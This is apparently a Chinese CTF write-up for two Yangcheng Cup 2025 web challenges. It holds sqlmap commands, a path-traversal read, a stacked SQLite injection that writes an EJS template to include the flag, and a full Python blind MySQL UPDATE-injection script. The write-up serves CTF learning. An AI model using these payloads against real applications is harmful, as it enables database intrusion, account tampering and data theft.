羊城杯2025个人web方向wp题解

ezsignin

二血

/register/login存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sqlmap.py -r .\sqlm2.txt --technique B --ignore-code 401 --risk 3 --level 5 --sql-shell

POST /login HTTP/1.1
Host: 45.40.247.139:26273
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Origin: http://45.40.247.139:26273
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Referer: http://45.40.247.139:26273/login
Accept-Language: zh-CN,zh;q=0.9
Cookie: connect.sid=s%3ArsNRXPNUjwQypO4zdsGOwaZdq5MJ0TD9.xdG%2BFbKzTpBnn0UkUAqepB62bXS0kInQkBIPKXnVBpI
Content-Length: 29

username=*&password=*

从users表获取管理员账号密码,直接登录

Admin:98e32d889927abe4014282166e89a323

2c47d33b-5fee-48c2-974d-01afcfec0ea9

/download/?filename=存在路径穿越,直接读取../app.js获得源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');

const app = express();
const db = new sqlite3.Database('./db.sqlite');

/*
FLAG in /fla4444444aaaaaagg.txt
*/

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(
session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false },
}),
);

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};

app.use(checkPermission);

app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});

app.get('/login', (req, res) => {
res.render('login');
});

app.get('/register', (req, res) => {
res.render('register');
});

app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});

app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});

app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql, async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = {
id: user.id,
username: user.username,
isAdmin: user.is_admin,
};
res.redirect('/');
});
});

app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;

if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}

db.exec(
`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`,
function (err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
},
);
});

app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/') || filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (
filename.includes('../../') ||
filename.includes('.././') ||
filename.includes('f') ||
filename.includes('//')
) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename)) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});

const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});

/register路由下db.exec()可以进行堆叠注入的利用

payload:

1
2
#在password处闭合语句,进行堆叠,可以成功创建出dasr用户
123'); INSERT INTO users (username, password) VALUES ('dasr', 'das123') -- ('

通过刚刚的sql注入点,发现成功INSERT了数据

f69eb135-44f7-4356-9d00-35a486fd732d

因为/app/views/upload.ejs不存在,这就给了我们可乘之机,接下来通过堆叠注入写文件到/app/views/upload.ejs

直接文件包含读取flag吧/fla4444444aaaaaagg.txt

sqlite下的写文件payload

1
123'); ATTACH DATABASE '/app/views/upload.ejs' AS shell; CREATE TABLE shell.pwn (data TEXT); INSERT INTO shell.pwn (data) VALUES ('<%= include("/fla4444444aaaaaagg.txt") %>'); -- ('

然后访问/upload,成功渲染模板

7b2980ff-6e35-406a-bed1-b491fa02c6ec

update_it

web-update_it-hint: flag为纯数字

PS:看到hint的时候已经出了hh,也是拿上一血了

mysql下的sql注入,语句是update

5c48ebae-5ae4-4893-a035-edb663a07490

尝试注入,通过|| '2'<>'1使得where openid=条件永真

69fb0e65-e06f-47a7-8e61-a8207b9d21ba

全部用户名都被改成test了

fc9ddbf4-fcf3-4eeb-8032-0b311038c0be

这里可以向username传入version(),database()等获取信息

数据库版本是8.0.35,可以用新版特性无select注入,通过table来获取数据

参考文章https://www.cnblogs.com/SecIN/articles/16253836.html

一开始我手工爆破出了数据库名ycb2025,simho

爆破payload(yakit)

1
username={{urlescape(testx',username=(table information_schema.schemata limit 5,1)>=('def','ycb2025','utf',4,5,6),dep_id='123)}}&open_id={{urlescape(123' || '2'<>'1)}}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import requests
import string
import time

# 目标URL
base_url = "http://45.40.247.139:24161"
update_url = f"{base_url}/api.php?action=update"
query_url = f"{base_url}/api.php?action=query"

# 请求头
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"Origin": base_url,
"Referer": f"{base_url}/",
"Accept": "application/json",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9"
}

# 查询头
query_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36",
"Accept": "*/*",
"Referer": f"{base_url}/index.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9"
}

def check_username():
"""检查username是否为1"""
try:
response = requests.get(query_url, headers=query_headers, timeout=5)
if response.status_code == 200:
data = response.json()
if data.get("success") and data.get("data"):
# 检查所有记录的username是否都为1
for record in data["data"]:
if record.get("username") == "0":
return True
except Exception as e:
print(f"查询失败: {e}")
return False

def brute_force_db():
"""爆破列数据"""
# 可能的字符集
charset = string.digits + string.ascii_letters + "_{}-!@#$%&*()"

# 存储结果
result = ""

print("开始爆破...")
# 逐位爆破
position = 1
while True:
old_char=""
for char in charset:
# 构造payload,比较特定位置的字符
# 这里我们假设要爆破的是第二列(索引1),可以根据需要调整
payload = f"testx',username=(table information_schema.schemata limit 5,1)>=('def','{result + char}','utf',4,5,6),dep_id='123"

data = {
"username": payload,
"open_id": "123' || '2'<>'1"
}

try:
# 发送更新请求
response = requests.post(update_url, headers=headers, data=data, timeout=5)

# 检查username是否被设置为1
if check_username():
result += old_char
print(f"找到字符: {old_char}, 当前结果: {result}")
break
else:
old_char=char

except Exception as e:
print(f"请求失败: {e}")
continue

# 避免请求过快
time.sleep(0.01)

# 如果没有找到字符,可能已经爆破完成
if old_char=="":
print(f"爆破完成,结果: {result}")
break

position += 1

return result

def brute_force_table():
"""爆破列数据"""
# 可能的字符集
charset = string.digits + string.ascii_letters + "_{}-!@#$%^&*()"

# 存储结果
result = ""

print("开始爆破...")

# 逐位爆破
position = 1
while True:
#print(position)
old_char=""
for char in charset:
# 构造payload,比较特定位置的字符
# 这里我们假设要爆破的是第二列(索引1),可以根据需要调整
payload = f"testx',username=(table information_schema.tables limit 330,1)>=('def','simho','{result + char}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21),dep_id='123"

data = {
"username": payload,
"open_id": "123' || '2'<>'1"
}

try:
# 发送更新请求
response = requests.post(update_url, headers=headers, data=data, timeout=5)
#print(response.text)
# 检查username是否被设置为1
if check_username():
result += old_char
print(f"找到字符: {old_char}, 当前结果: {result}")
break
else:
old_char=char

except Exception as e:
print(f"请求失败: {e}")
continue

# 避免请求过快
time.sleep(0.01)

# 如果没有找到字符,可能已经爆破完成
if old_char=="":
print(f"爆破完成,结果: {result}")
break

position += 1

return result

def brute_force_flag():
# 可能的字符集
#charset = "_{}-!@#$%^&*()" + string.digits + string.ascii_letters
#charset = "{"+"}-!" + string.digits + string.ascii_letters
#charset = "{"+"~" + string.ascii_letters
charset = "{~" + string.ascii_letters
# 存储结果
result = ""
old_char=""
print("开始爆破...")

# 逐位爆破
position = 1
while True:
if position > 7:
charset = "-}~" + string.digits +"z"
for char in charset:
# 构造payload,比较特定位置的字符
payload = f"testx',username=(table simho.see33ccret limit 3,1)>=('4','{result + char}',''),dep_id='123"

data = {
"username": payload,
"open_id": "123' || '2'<>'1"
}

try:
# 发送更新请求
response = requests.post(update_url, headers=headers, data=data, timeout=5)

# 检查username是否被设置为1
if check_username():
result += old_char
print(f"找到字符: {old_char}, 当前结果: {result}")
break
else:
old_char=char

except Exception as e:
print(f"请求失败: {e}")
continue

# 避免请求过快
#time.sleep(0.01)

# 如果没有找到字符,可能已经爆破完成
if old_char=="}":
print(f"爆破完成,结果: {result}")
break

position += 1
time.sleep(0.01)
return result

if __name__ == "__main__":
print("=== MySQL TABLE语句爆破脚本 ===")

#首先尝试爆破数据库名
#print("\n1. 爆破数据库名:")
#db_name = brute_force_db()

#print("\n2.爆破数据库表名")
#table=brute_force_table()

print("\n爆破flag:")
flag=None
flag = brute_force_flag()

if flag:
print(f"发现flag: {flag}")